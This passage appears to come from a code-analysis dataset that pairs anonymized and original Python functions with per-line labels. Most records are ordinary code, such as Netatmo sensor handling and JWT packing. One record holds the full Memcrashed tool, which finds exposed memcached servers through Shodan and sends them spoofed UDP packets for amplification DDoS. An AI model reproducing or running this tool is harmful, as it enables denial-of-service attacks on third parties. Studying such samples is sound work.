'Low'\n", "if VAR_13['battery_vp'] < 4000:\n", "if VAR_13['WindAngle'] >= 330:\n", "if self.type == 'windstrength':\n", "self._state = 'Very Low'\n", "self._state = 'N (%d°)' % VAR_13['WindAngle']\n", "if VAR_13['WindAngle'] >= 300:\n", "self._state = VAR_13['WindStrength']\n", "if self.type == 'gustangle_value':\n", "self._state = 'NW (%d°)' % VAR_13['WindAngle']\n", "if VAR_13['WindAngle'] >= 240:\n", "self._state = VAR_13['GustAngle']\n", "if self.type == 'gustangle':\n", "self._state = 'W (%d°)' % VAR_13['WindAngle']\n", "if VAR_13['WindAngle'] >= 210:\n", "if VAR_13['GustAngle'] >= 330:\n", "if self.type == 'guststrength':\n", "self._state = 'SW (%d°)' % VAR_13['WindAngle']\n", "if VAR_13['WindAngle'] >= 150:\n", "self._state = 'N (%d°)' % VAR_13['GustAngle']\n", "if VAR_13['GustAngle'] >= 300:\n", "self._state = VAR_13['GustStrength']\n", "if self.type == 'rf_status_lvl':\n", "self._state = 'S (%d°)' % VAR_13['WindAngle']\n", "if VAR_13['WindAngle'] >= 120:\n", "self._state = 'NW (%d°)' % VAR_13['GustAngle']\n", "if VAR_13['GustAngle'] >= 240:\n", "self._state = VAR_13['rf_status']\n", "if self.type == 'rf_status':\n", "self._state = 'SE (%d°)' % VAR_13['WindAngle']\n", "if VAR_13['WindAngle'] >= 60:\n", "self._state = 'W (%d°)' % VAR_13['GustAngle']\n", "if VAR_13['GustAngle'] >= 210:\n", "if VAR_13['rf_status'] >= 90:\n", "if self.type == 'wifi_status_lvl':\n", "self._state = 'E (%d°)' % VAR_13['WindAngle']\n", "if VAR_13['WindAngle'] >= 30:\n", "self._state = 'SW (%d°)' % VAR_13['GustAngle']\n", "if VAR_13['GustAngle'] >= 150:\n", "self._state = 'Low'\n", "if VAR_13['rf_status'] >= 76:\n", "self._state = VAR_13['wifi_status']\n", "if self.type == 'wifi_status':\n", "self._state = 'NE (%d°)' % VAR_13['WindAngle']\n", "if VAR_13['WindAngle'] >= 0:\n", "self._state = 'S (%d°)' % VAR_13['GustAngle']\n", "if VAR_13['GustAngle'] >= 120:\n", "self._state = 'Medium'\n", "if VAR_13['rf_status'] >= 60:\n", "if VAR_13['wifi_status'] >= 86:\n", "self._state = 'N (%d°)' % VAR_13['WindAngle']\n", "self._state = 'SE (%d°)' % VAR_13['GustAngle']\n", "if VAR_13['GustAngle'] >= 60:\n", "self._state = 'High'\n", "if VAR_13['rf_status'] <= 59:\n", "self._state = 'Low'\n", "if VAR_13['wifi_status'] >= 71:\n", "self._state = 'E (%d°)' % VAR_13['GustAngle']\n", "if VAR_13['GustAngle'] >= 30:\n", "self._state = 'Full'\n", "self._state = 'Medium'\n", "if VAR_13['wifi_status'] >= 56:\n", "self._state = 'NE (%d°)' % VAR_13['GustAngle']\n", "if VAR_13['GustAngle'] >= 0:\n", "self._state = 'High'\n", "if VAR_13['wifi_status'] <= 55:\n", "self._state = 'N (%d°)' % VAR_13['GustAngle']\n", "self._state = 'Full'\n" ]
[ "def update(self):...\n", "\"\"\"docstring\"\"\"\n", "self.netatmo_data.update()\n", "data = self.netatmo_data.data.get(self.module_name)\n", "if data is None:\n", "_LOGGER.warning('No data found for %s', self.module_name)\n", "if self.type == 'temperature':\n", "self._state = STATE_UNKNOWN\n", "self._state = round(data['Temperature'], 1)\n", "if self.type == 'humidity':\n", "return\n", "self._state = data['Humidity']\n", "if self.type == 'rain':\n", "self._state = data['Rain']\n", "if self.type == 'sum_rain_1':\n", "self._state = data['sum_rain_1']\n", "if self.type == 'sum_rain_24':\n", "self._state = data['sum_rain_24']\n", "if self.type == 'noise':\n", "self._state = data['Noise']\n", "if self.type == 'co2':\n", "self._state = data['CO2']\n", "if self.type == 'pressure':\n", "self._state = round(data['Pressure'], 1)\n", "if self.type == 'battery_lvl':\n", "self._state = data['battery_vp']\n", "if self.type == 'battery_vp' and self.module_id == '6':\n", "if data['battery_vp'] >= 5590:\n", "if self.type == 'battery_vp' and self.module_id == '5':\n", "self._state = 'Full'\n", "if data['battery_vp'] >= 5180:\n", "if data['battery_vp'] >= 5500:\n", "if self.type == 'battery_vp' and self.module_id == '3':\n", "self._state = 'High'\n", "if data['battery_vp'] >= 4770:\n", "self._state = 'Full'\n", "if data['battery_vp'] >= 5000:\n", "if data['battery_vp'] >= 5640:\n", "if self.type == 'battery_vp' and self.module_id == '2':\n", "self._state = 'Medium'\n", "if data['battery_vp'] >= 4360:\n", "self._state = 'High'\n", "if data['battery_vp'] >= 4500:\n", "self._state = 'Full'\n", "if data['battery_vp'] >= 5280:\n", "if data['battery_vp'] >= 5500:\n", "if self.type == 'min_temp':\n", "self._state = 'Low'\n", "if data['battery_vp'] < 4360:\n", "self._state = 'Medium'\n", "if data['battery_vp'] >= 4000:\n", "self._state = 'High'\n", "if data['battery_vp'] >= 4920:\n", "self._state = 'Full'\n", "if data['battery_vp'] >= 5000:\n", "self._state = data['min_temp']\n", "if self.type == 'max_temp':\n", "self._state = 'Very Low'\n", "self._state = 'Low'\n", "if data['battery_vp'] < 4000:\n", "self._state = 'Medium'\n", "if data['battery_vp'] >= 4560:\n", "self._state = 'High'\n", "if data['battery_vp'] >= 4500:\n", "self._state = data['max_temp']\n", "if self.type == 'windangle_value':\n", "self._state = 'Very Low'\n", "self._state = 'Low'\n", "if data['battery_vp'] < 4560:\n", "self._state = 'Medium'\n", "if data['battery_vp'] >= 4000:\n", "self._state = data['WindAngle']\n", "if self.type == 'windangle':\n", "self._state = 'Very Low'\n", "self._state = 'Low'\n", "if data['battery_vp'] < 4000:\n", "if data['WindAngle'] >= 330:\n", "if self.type == 'windstrength':\n", "self._state = 'Very Low'\n", "self._state = 'N (%d°)' % data['WindAngle']\n", "if data['WindAngle'] >= 300:\n", "self._state = data['WindStrength']\n", "if self.type == 'gustangle_value':\n", "self._state = 'NW (%d°)' % data['WindAngle']\n", "if data['WindAngle'] >= 240:\n", "self._state = data['GustAngle']\n", "if self.type == 'gustangle':\n", "self._state = 'W (%d°)' % data['WindAngle']\n", "if data['WindAngle'] >= 210:\n", "if data['GustAngle'] >= 330:\n", "if self.type == 'guststrength':\n", "self._state = 'SW (%d°)' % data['WindAngle']\n", "if data['WindAngle'] >= 150:\n", "self._state = 'N (%d°)' % data['GustAngle']\n", "if data['GustAngle'] >= 300:\n", "self._state = data['GustStrength']\n", "if self.type == 'rf_status_lvl':\n", "self._state = 'S (%d°)' % data['WindAngle']\n", "if data['WindAngle'] >= 120:\n", "self._state = 'NW (%d°)' % data['GustAngle']\n", "if data['GustAngle'] >= 240:\n", "self._state = data['rf_status']\n", "if self.type == 'rf_status':\n", "self._state = 'SE (%d°)' % data['WindAngle']\n", "if data['WindAngle'] >= 60:\n", "self._state = 'W (%d°)' % data['GustAngle']\n", "if data['GustAngle'] >= 210:\n", "if data['rf_status'] >= 90:\n", "if self.type == 'wifi_status_lvl':\n", "self._state = 'E (%d°)' % data['WindAngle']\n", "if data['WindAngle'] >= 30:\n", "self._state = 'SW (%d°)' % data['GustAngle']\n", "if data['GustAngle'] >= 150:\n", "self._state = 'Low'\n", "if data['rf_status'] >= 76:\n", "self._state = data['wifi_status']\n", "if self.type == 'wifi_status':\n", "self._state = 'NE (%d°)' % data['WindAngle']\n", "if data['WindAngle'] >= 0:\n", "self._state = 'S (%d°)' % data['GustAngle']\n", "if data['GustAngle'] >= 120:\n", "self._state = 'Medium'\n", "if data['rf_status'] >= 60:\n", "if data['wifi_status'] >= 86:\n", "self._state = 'N (%d°)' % data['WindAngle']\n", "self._state = 'SE (%d°)' % data['GustAngle']\n", "if data['GustAngle'] >= 60:\n", "self._state = 'High'\n", "if data['rf_status'] <= 59:\n", "self._state = 'Low'\n", "if data['wifi_status'] >= 71:\n", "self._state = 'E (%d°)' % data['GustAngle']\n", "if data['GustAngle'] >= 30:\n", "self._state = 'Full'\n", "self._state = 'Medium'\n", "if data['wifi_status'] >= 56:\n", "self._state = 'NE (%d°)' % data['GustAngle']\n", "if data['GustAngle'] >= 0:\n", "self._state = 'High'\n", "if data['wifi_status'] <= 55:\n", "self._state = 'N (%d°)' % data['GustAngle']\n", "self._state = 'Full'\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Docstring", "Expr'", "Assign'", "Condition", "Expr'", "Condition", "Assign'", "Assign'", "Condition", "Return'", "Assign'", "Condition", "Assign'", "Condition", "Assign'", "Condition", "Assign'", "Condition", "Assign'", "Condition", "Assign'", "Condition", "Assign'", "Condition", "Assign'", "Condition", "Condition", "Condition", "Assign'", "Condition", "Condition", "Condition", "Assign'", "Condition", "Assign'", "Condition", "Condition", "Condition", "Assign'", "Condition", "Assign'", "Condition", "Assign'", "Condition", "Condition", "Condition", "Assign'", "Condition", "Assign'", "Condition", "Assign'", "Condition", "Assign'", "Condition", "Assign'", "Condition", "Assign'", "Assign'", "Condition", "Assign'", "Condition", "Assign'", "Condition", "Assign'", "Condition", "Assign'", "Assign'", "Condition", "Assign'", "Condition", "Assign'", "Condition", "Assign'", "Assign'", "Condition", "Condition", "Condition", "Assign'", "Assign'", "Condition", "Assign'", "Condition", "Assign'", "Condition", "Assign'", "Condition", "Assign'", "Condition", "Condition", "Condition", "Assign'", "Condition", "Assign'", "Condition", "Assign'", "Condition", "Assign'", "Condition", "Assign'", "Condition", "Assign'", "Condition", "Assign'", "Condition", "Assign'", "Condition", "Condition", "Condition", "Assign'", "Condition", "Assign'", "Condition", "Assign'", "Condition", "Assign'", "Condition", "Assign'", "Condition", "Assign'", "Condition", "Assign'", "Condition", "Condition", "Assign'", "Assign'", "Condition", "Assign'", "Condition", "Assign'", "Condition", "Assign'", "Condition", "Assign'", "Assign'", "Condition", "Assign'", "Condition", "Assign'", "Condition", "Assign'", "Assign'" ]
[ "def __init__(self, VAR_24=None):...\n", "self.logger = logging.getLogger(__name__)\n", "self.logger.setLevel(logging.DEBUG)\n", "self.configfile = VAR_24\n", "self.nodes = {}\n", "self.server = []\n", "self.host_list = []\n", "if VAR_24:\n", "self.load_config(VAR_24)\n", "self.config = None\n", "self.session_name = self.config['name']\n", "dump(self.config, outfile, default_flow_style=False)\n", "self.logger.debug('Loading config was successful')\n", "self.server = Server()\n", "if self.server.has_session(self.session_name):\n", "self.session = self.server.find_where({'session_name': self.session_name})\n", "self.logger.info('starting new session by name \"%s\" on server' % self.\n session_name)\n", "self.logger.info('found running session by name \"%s\" on server' % self.\n session_name)\n", "self.session = self.server.new_session(VAR_30=self.session_name, VAR_15='Main')\n" ]
[ "def __init__(self, configfile=None):...\n", "self.logger = logging.getLogger(__name__)\n", "self.logger.setLevel(logging.DEBUG)\n", "self.configfile = configfile\n", "self.nodes = {}\n", "self.server = []\n", "self.host_list = []\n", "if configfile:\n", "self.load_config(configfile)\n", "self.config = None\n", "self.session_name = self.config['name']\n", "dump(self.config, outfile, default_flow_style=False)\n", "self.logger.debug('Loading config was successful')\n", "self.server = Server()\n", "if self.server.has_session(self.session_name):\n", "self.session = self.server.find_where({'session_name': self.session_name})\n", "self.logger.info('starting new session by name \"%s\" on server' % self.\n session_name)\n", "self.logger.info('found running session by name \"%s\" on server' % self.\n session_name)\n", "self.session = self.server.new_session(session_name=self.session_name,\n window_name='Main')\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Assign'", "Expr'", "Assign'", "Assign'", "Assign'", "Assign'", "Condition", "Expr'", "Assign'", "Assign'", "Expr'", "Expr'", "Assign'", "Condition", "Assign'", "Expr'", "Expr'", "Assign'" ]
[ "def FUNC_16(**VAR_19):...\n", "VAR_35 = FUNC_8('users/add', VAR_16=kwargs)\n", "VAR_46 = re.search('/user/([0-9]+)$', VAR_35.url)\n", "if VAR_46:\n", "VAR_10 = int(VAR_46.group(1))\n", "VAR_19['user_id'] = VAR_10\n", "VAR_3[VAR_10] = VAR_19\n", "VAR_35 = FUNC_8('contest/' + VAR_19['contest_id'] + '/users/add', VAR_16=kwargs\n )\n", "VAR_46 = re.search('<input type=\"radio\" name=\"user_id\" value=\"' + VAR_68(\n VAR_10) + '\"/>', VAR_35.text)\n", "if VAR_46:\n", "return VAR_10\n" ]
[ "def add_user(**kwargs):...\n", "r = admin_req('users/add', args=kwargs)\n", "g = re.search('/user/([0-9]+)$', r.url)\n", "if g:\n", "user_id = int(g.group(1))\n", "kwargs['user_id'] = user_id\n", "created_users[user_id] = kwargs\n", "r = admin_req('contest/' + kwargs['contest_id'] + '/users/add', args=kwargs)\n", "g = re.search('<input type=\"radio\" name=\"user_id\" value=\"' + str(user_id) +\n '\"/>', r.text)\n", "if g:\n", "return user_id\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Assign'", "Assign'", "Condition", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Condition", "Return'" ]
[ "import sys, os, time, shodan\n", "from pathlib import Path\n", "from scapy.all import *\n", "from contextlib import contextmanager, redirect_stdout\n", "VAR_0 = time.time()\n", "@contextmanager...\n", "yield\n", "VAR_3 = '\\x1b[0m'\n", "VAR_1 = Path('./api.txt')\n", "VAR_2 = CLASS_0.HEADER + 'string'\n", "print(VAR_2)\n", "if VAR_1.is_file():\n", "VAR_5 = VAR_4.readline().rstrip('\\n')\n", "VAR_4 = open('api.txt', 'w')\n", "while True:\n", "VAR_5 = input('[*] Please enter a valid Shodan.io API Key: ')\n", "VAR_6 = shodan.Shodan(VAR_5)\n", "VAR_4.write(VAR_5)\n", "print('')\n", "print('[~] File written: ./api.txt')\n", "VAR_7 = Path('./bots.txt')\n", "print('[✘] Error: %s' % e)\n", "VAR_4.close()\n", "VAR_8 = input(\n '[*] Use Shodan API to search for affected Memcached servers? <Y/n>: '\n ).lower()\n", "VAR_16 = input('[*] Would you like to change API Key? <Y/n>: ').lower()\n", "if VAR_8.startswith('y'):\n", "if VAR_16.startswith('y'):\n", "print('')\n", "VAR_9 = input('[*] Would you like to use locally stored Shodan data? <Y/n>: '\n ).lower()\n", "VAR_4 = open('api.txt', 'w')\n", "print('')\n", "print('[~] Checking Shodan.io API Key: %s' % VAR_5)\n", "if VAR_7.is_file():\n", "VAR_5 = input('[*] Please enter valid Shodan.io API Key: ')\n", "print('[•] Exiting Platform. Have a wonderful day.')\n", "VAR_10 = VAR_6.search('product:\"Memcached\" port:11211')\n", "if VAR_9.startswith('y'):\n", "print('')\n", "VAR_4.write(VAR_5)\n", "print('[✓] API Key Authentication: SUCCESS')\n", "VAR_20 = [line.rstrip() for line in my_file]\n", "if VAR_9.startswith('y') or VAR_8.startswith('y'):\n", "print('[✘] Error: No bots stored locally, bots.txt file not found!')\n", "print('[~] File written: ./api.txt')\n", "print('[~] Number of bots: %s' % VAR_10['total'])\n", "print('')\n", "print('')\n", "print('')\n", "VAR_4.close()\n", "print('')\n", "VAR_12 = input('[▸] Enter target IP address: ')\n", "print('[✘] Error: No bots stored locally or remotely on Shodan!')\n", "print('[~] Restarting Platform! Please wait.')\n", "VAR_11 = input('[*] Save results for later usage? <Y/n>: ').lower()\n", "VAR_13 = int(input('[▸] Enter preferred power (Default 1): ') or '1')\n", "print('[~] Restarting Platform! Please wait.')\n", "print('')\n", "if VAR_11.startswith('y'):\n", "VAR_14 = input('[▸] Enter payload contained inside packet: '\n ) or '\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n'\n", "print('')\n", "VAR_17 = open('bots.txt', 'a')\n", "print('')\n", "for result in VAR_10['matches']:\n", "if VAR_8.startswith('y'):\n", "VAR_17.write(result['ip_str'] + '\\n')\n", "print('[~] File written: ./bots.txt')\n", "VAR_18 = input(\n '[*] Would you like to display all the bots from Shodan? <Y/n>: ').lower()\n", "if VAR_9.startswith('y'):\n", "print('')\n", "if VAR_18.startswith('y'):\n", "VAR_19 = input(\n '[*] Would you like to display all the bots stored locally? <Y/n>: '\n ).lower()\n", "print('')\n", "VAR_17.close()\n", "print('')\n", "if VAR_19.startswith('y'):\n", "VAR_15 = input('[*] Ready to engage target %s? <Y/n>: ' % VAR_12).lower()\n", "VAR_21 = int(0)\n", "print('')\n", "if VAR_15.startswith('y'):\n", "for result in VAR_10['matches']:\n", "VAR_21 = int(0)\n", "if VAR_9.startswith('y'):\n", "print('')\n", "VAR_22 = VAR_6.host('%s' % result['ip_str'])\n", "for x in VAR_20:\n", "for i in VAR_20:\n", "for result in VAR_10['matches']:\n", "print('[✘] Error: %s not engaged!' % VAR_12)\n", "VAR_21 = VAR_21 + 1\n", "VAR_22 = VAR_6.host('%s' % x)\n", "if VAR_13 > 1:\n", "print('')\n", "if VAR_13 > 1:\n", "print('[~] Restarting Platform! Please wait.')\n", "print('[+] Memcache Server (%d) | IP: %s | OS: %s | ISP: %s |' % (VAR_21,\n result['ip_str'], VAR_22.get('os', 'n/a'), VAR_22.get('org', 'n/a')))\n", "VAR_21 = VAR_21 + 1\n", "print('[+] Sending %d forged UDP packets to: %s' % (VAR_13, i))\n", "if VAR_13 == 1:\n", "print('[•] Task complete! Exiting Platform. Have a wonderful day.')\n", "print('[+] Sending %d forged UDP packets to: %s' % (VAR_13, result['ip_str']))\n", "if VAR_13 == 1:\n", "print('')\n", "time.sleep(1.1 - (time.time() - VAR_0) % 1.1)\n", "print('[+] Memcache Server (%d) | IP: %s | OS: %s | ISP: %s |' % (VAR_21, x,\n VAR_22.get('os', 'n/a'), VAR_22.get('org', 'n/a')))\n", "send(IP(src=target, dst='%s' % i) / UDP(dport=11211) / Raw(load=data),\n count=power)\n", "print('[+] Sending 1 forged UDP packet to: %s' % i)\n", "send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211) / Raw(\n load=data), count=power)\n", "print('[+] Sending 1 forged UDP packet to: %s' % result['ip_str'])\n", "time.sleep(1.1 - (time.time() - VAR_0) % 1.1)\n", "send(IP(src=target, dst='%s' % i) / UDP(dport=11211) / Raw(load=data),\n count=power)\n", "send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211) / Raw(\n load=data), count=power)\n" ]
[ "import sys, os, time, shodan\n", "from pathlib import Path\n", "from scapy.all import *\n", "from contextlib import contextmanager, redirect_stdout\n", "starttime = time.time()\n", "@contextmanager...\n", "yield\n", "HEADER = '\\x1b[0m'\n", "keys = Path('./api.txt')\n", "logo = color.HEADER + \"\"\"\n\n ███╗ ███╗███████╗███╗ ███╗ ██████╗██████╗ █████╗ ███████╗██╗ ██╗███████╗██████╗ \n ████╗ ████║██╔════╝████╗ ████║██╔════╝██╔══██╗██╔══██╗██╔════╝██║ ██║██╔════╝██╔══██╗\n ██╔████╔██║█████╗ ██╔████╔██║██║ ██████╔╝███████║███████╗███████║█████╗ ██║ ██║\n ██║╚██╔╝██║██╔══╝ ██║╚██╔╝██║██║ ██╔══██╗██╔══██║╚════██║██╔══██║██╔══╝ ██║ ██║\n ██║ ╚═╝ ██║███████╗██║ ╚═╝ ██║╚██████╗██║ ██║██║ ██║███████║██║ ██║███████╗██████╔╝\n ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚═════╝ \n\n Author: @037\n Version: 3.2\n\n####################################### DISCLAIMER ########################################\n| Memcrashed is a tool that allows you to use Shodan.io to obtain hundreds of vulnerable |\n| memcached servers. It then allows you to use the same servers to launch widespread |\n| distributed denial of service attacks by forging UDP packets sourced to your victim. |\n| Default payload includes the memcached \"stats\" command, 10 bytes to send, but the reply |\n| is between 1,500 bytes up to hundreds of kilobytes. Please use this tool responsibly. |\n| I am NOT responsible for any damages caused or any crimes committed by using this tool. |\n###########################################################################################\n \n\"\"\"\n", "print(logo)\n", "if keys.is_file():\n", "SHODAN_API_KEY = file.readline().rstrip('\\n')\n", "file = open('api.txt', 'w')\n", "while True:\n", "SHODAN_API_KEY = input('[*] Please enter a valid Shodan.io API Key: ')\n", "api = shodan.Shodan(SHODAN_API_KEY)\n", "file.write(SHODAN_API_KEY)\n", "print('')\n", "print('[~] File written: ./api.txt')\n", "myresults = Path('./bots.txt')\n", "print('[✘] Error: %s' % e)\n", "file.close()\n", "query = input(\n '[*] Use Shodan API to search for affected Memcached servers? <Y/n>: '\n ).lower()\n", "option = input('[*] Would you like to change API Key? <Y/n>: ').lower()\n", "if query.startswith('y'):\n", "if option.startswith('y'):\n", "print('')\n", "saveme = input('[*] Would you like to use locally stored Shodan data? <Y/n>: '\n ).lower()\n", "file = open('api.txt', 'w')\n", "print('')\n", "print('[~] Checking Shodan.io API Key: %s' % SHODAN_API_KEY)\n", "if myresults.is_file():\n", "SHODAN_API_KEY = input('[*] Please enter valid Shodan.io API Key: ')\n", "print('[•] Exiting Platform. Have a wonderful day.')\n", "results = api.search('product:\"Memcached\" port:11211')\n", "if saveme.startswith('y'):\n", "print('')\n", "file.write(SHODAN_API_KEY)\n", "print('[✓] API Key Authentication: SUCCESS')\n", "ip_array = [line.rstrip() for line in my_file]\n", "if saveme.startswith('y') or query.startswith('y'):\n", "print('[✘] Error: No bots stored locally, bots.txt file not found!')\n", "print('[~] File written: ./api.txt')\n", "print('[~] Number of bots: %s' % results['total'])\n", "print('')\n", "print('')\n", "print('')\n", "file.close()\n", "print('')\n", "target = input('[▸] Enter target IP address: ')\n", "print('[✘] Error: No bots stored locally or remotely on Shodan!')\n", "print('[~] Restarting Platform! Please wait.')\n", "saveresult = input('[*] Save results for later usage? <Y/n>: ').lower()\n", "power = int(input('[▸] Enter preferred power (Default 1): ') or '1')\n", "print('[~] Restarting Platform! Please wait.')\n", "print('')\n", "if saveresult.startswith('y'):\n", "data = input('[▸] Enter payload contained inside packet: '\n ) or '\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n'\n", "print('')\n", "file2 = open('bots.txt', 'a')\n", "print('')\n", "for result in results['matches']:\n", "if query.startswith('y'):\n", "file2.write(result['ip_str'] + '\\n')\n", "print('[~] File written: ./bots.txt')\n", "iplist = input(\n '[*] Would you like to display all the bots from Shodan? <Y/n>: ').lower()\n", "if saveme.startswith('y'):\n", "print('')\n", "if iplist.startswith('y'):\n", "iplistlocal = input(\n '[*] Would you like to display all the bots stored locally? <Y/n>: '\n ).lower()\n", "print('')\n", "file2.close()\n", "print('')\n", "if iplistlocal.startswith('y'):\n", "engage = input('[*] Ready to engage target %s? <Y/n>: ' % target).lower()\n", "counter = int(0)\n", "print('')\n", "if engage.startswith('y'):\n", "for result in results['matches']:\n", "counter = int(0)\n", "if saveme.startswith('y'):\n", "print('')\n", "host = api.host('%s' % result['ip_str'])\n", "for x in ip_array:\n", "for i in ip_array:\n", "for result in results['matches']:\n", "print('[✘] Error: %s not engaged!' % target)\n", "counter = counter + 1\n", "host = api.host('%s' % x)\n", "if power > 1:\n", "print('')\n", "if power > 1:\n", "print('[~] Restarting Platform! Please wait.')\n", "print('[+] Memcache Server (%d) | IP: %s | OS: %s | ISP: %s |' % (counter,\n result['ip_str'], host.get('os', 'n/a'), host.get('org', 'n/a')))\n", "counter = counter + 1\n", "print('[+] Sending %d forged UDP packets to: %s' % (power, i))\n", "if power == 1:\n", "print('[•] Task complete! Exiting Platform. Have a wonderful day.')\n", "print('[+] Sending %d forged UDP packets to: %s' % (power, result['ip_str']))\n", "if power == 1:\n", "print('')\n", "time.sleep(1.1 - (time.time() - starttime) % 1.1)\n", "print('[+] Memcache Server (%d) | IP: %s | OS: %s | ISP: %s |' % (counter,\n x, host.get('os', 'n/a'), host.get('org', 'n/a')))\n", "send(IP(src=target, dst='%s' % i) / UDP(dport=11211) / Raw(load=data),\n count=power)\n", "print('[+] Sending 1 forged UDP packet to: %s' % i)\n", "send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211) / Raw(\n load=data), count=power)\n", "print('[+] Sending 1 forged UDP packet to: %s' % result['ip_str'])\n", "time.sleep(1.1 - (time.time() - starttime) % 1.1)\n", "send(IP(src=target, dst='%s' % i) / UDP(dport=11211) / Raw(load=data),\n count=power)\n", "send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211) / Raw(\n load=data), count=power)\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 2, 0, 0, 0, 0 ]
[ "Import'", "ImportFrom'", "ImportFrom'", "ImportFrom'", "Assign'", "Condition", "Expr'", "Assign'", "Assign'", "Assign'", "Expr'", "Condition", "Assign'", "Assign'", "Condition", "Assign'", "Assign'", "Expr'", "Expr'", "Expr'", "Assign'", "Expr'", "Expr'", "Assign'", "Assign'", "Condition", "Condition", "Expr'", "Assign'", "Assign'", "Expr'", "Expr'", "Condition", "Assign'", "Expr'", "Assign'", "Condition", "Expr'", "Expr'", "Expr'", "Assign'", "Condition", "Expr'", "Expr'", "Expr'", "Expr'", "Expr'", "Expr'", "Expr'", "Expr'", "Assign'", "Expr'", "Expr'", "Assign'", "Assign'", "Expr'", "Expr'", "Condition", "Assign'", "Expr'", "Assign'", "Expr'", "For", "Condition", "Expr'", "Expr'", "Assign'", "Condition", "Expr'", "Condition", "Assign'", "Expr'", "Expr'", "Expr'", "Condition", "Assign'", "Assign'", "Expr'", "Condition", "For", "Assign'", "Condition", "Expr'", "Assign'", "For", "For", "For", "Expr'", "Assign'", "Assign'", "Condition", "Expr'", "Condition", "Expr'", "Expr'", "Assign'", "Expr'", "Condition", "Expr'", "Expr'", "Condition", "Expr'", "Expr'", "Expr'", "Expr'", "Expr'", "Expr'", "Expr'", "Expr'", "Expr'", "Expr'" ]
[ "def FUNC_9(VAR_9, VAR_10, VAR_11):...\n", "\"\"\"docstring\"\"\"\n", "VAR_7 = jwt.encode(VAR_9, VAR_10, algorithm='RS256')\n", "VAR_17 = HybridRSA.encrypt(VAR_7, VAR_11)\n", "return b64encode(VAR_17).decode('utf-8')\n" ]
[ "def packJWT(data, sign_key, encrypt_key):...\n", "\"\"\"docstring\"\"\"\n", "token = jwt.encode(data, sign_key, algorithm='RS256')\n", "enc_token = HybridRSA.encrypt(token, encrypt_key)\n", "return b64encode(enc_token).decode('utf-8')\n" ]
[ 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Docstring", "Assign'", "Assign'", "Return'" ]
[ "import logging\n", "import os\n", "import sys\n", "import threading\n", "VAR_0 = os.path.dirname(os.path.abspath(__file__))\n", "VAR_1 = os.path.dirname(VAR_0)\n", "sys.path.insert(0, VAR_1)\n", "sys.path.insert(0, os.path.join(VAR_1, 'third_party'))\n", "from depot_tools import auto_stub\n", "from utils import net\n", "def FUNC_0(VAR_2, VAR_3, VAR_4=None):...\n", "\"\"\"docstring\"\"\"\n", "VAR_4 = dict(VAR_4 or {})\n", "VAR_4['Content-Length'] = len(VAR_2)\n", "def __init__(self):...\n", "self.content = VAR_2\n", "def FUNC_6(self, VAR_7):...\n", "VAR_8 = self.content\n", "while VAR_8:\n", "yield VAR_8[:VAR_7]\n", "def FUNC_7(self):...\n", "VAR_8 = VAR_8[VAR_7:]\n", "return self.content\n" ]
[ "import logging\n", "import os\n", "import sys\n", "import threading\n", "TEST_DIR = os.path.dirname(os.path.abspath(__file__))\n", "ROOT_DIR = os.path.dirname(TEST_DIR)\n", "sys.path.insert(0, ROOT_DIR)\n", "sys.path.insert(0, os.path.join(ROOT_DIR, 'third_party'))\n", "from depot_tools import auto_stub\n", "from utils import net\n", "def make_fake_response(content, url, headers=None):...\n", "\"\"\"docstring\"\"\"\n", "headers = dict(headers or {})\n", "headers['Content-Length'] = len(content)\n", "def __init__(self):...\n", "self.content = content\n", "def iter_content(self, chunk_size):...\n", "c = self.content\n", "while c:\n", "yield c[:chunk_size]\n", "def read(self):...\n", "c = c[chunk_size:]\n", "return self.content\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "Import'", "Import'", "Import'", "Import'", "Assign'", "Assign'", "Expr'", "Expr'", "ImportFrom'", "ImportFrom'", "FunctionDef'", "Docstring", "Assign'", "Assign'", "FunctionDef'", "Assign'", "FunctionDef'", "Assign'", "Condition", "Expr'", "FunctionDef'", "Assign'", "Return'" ]
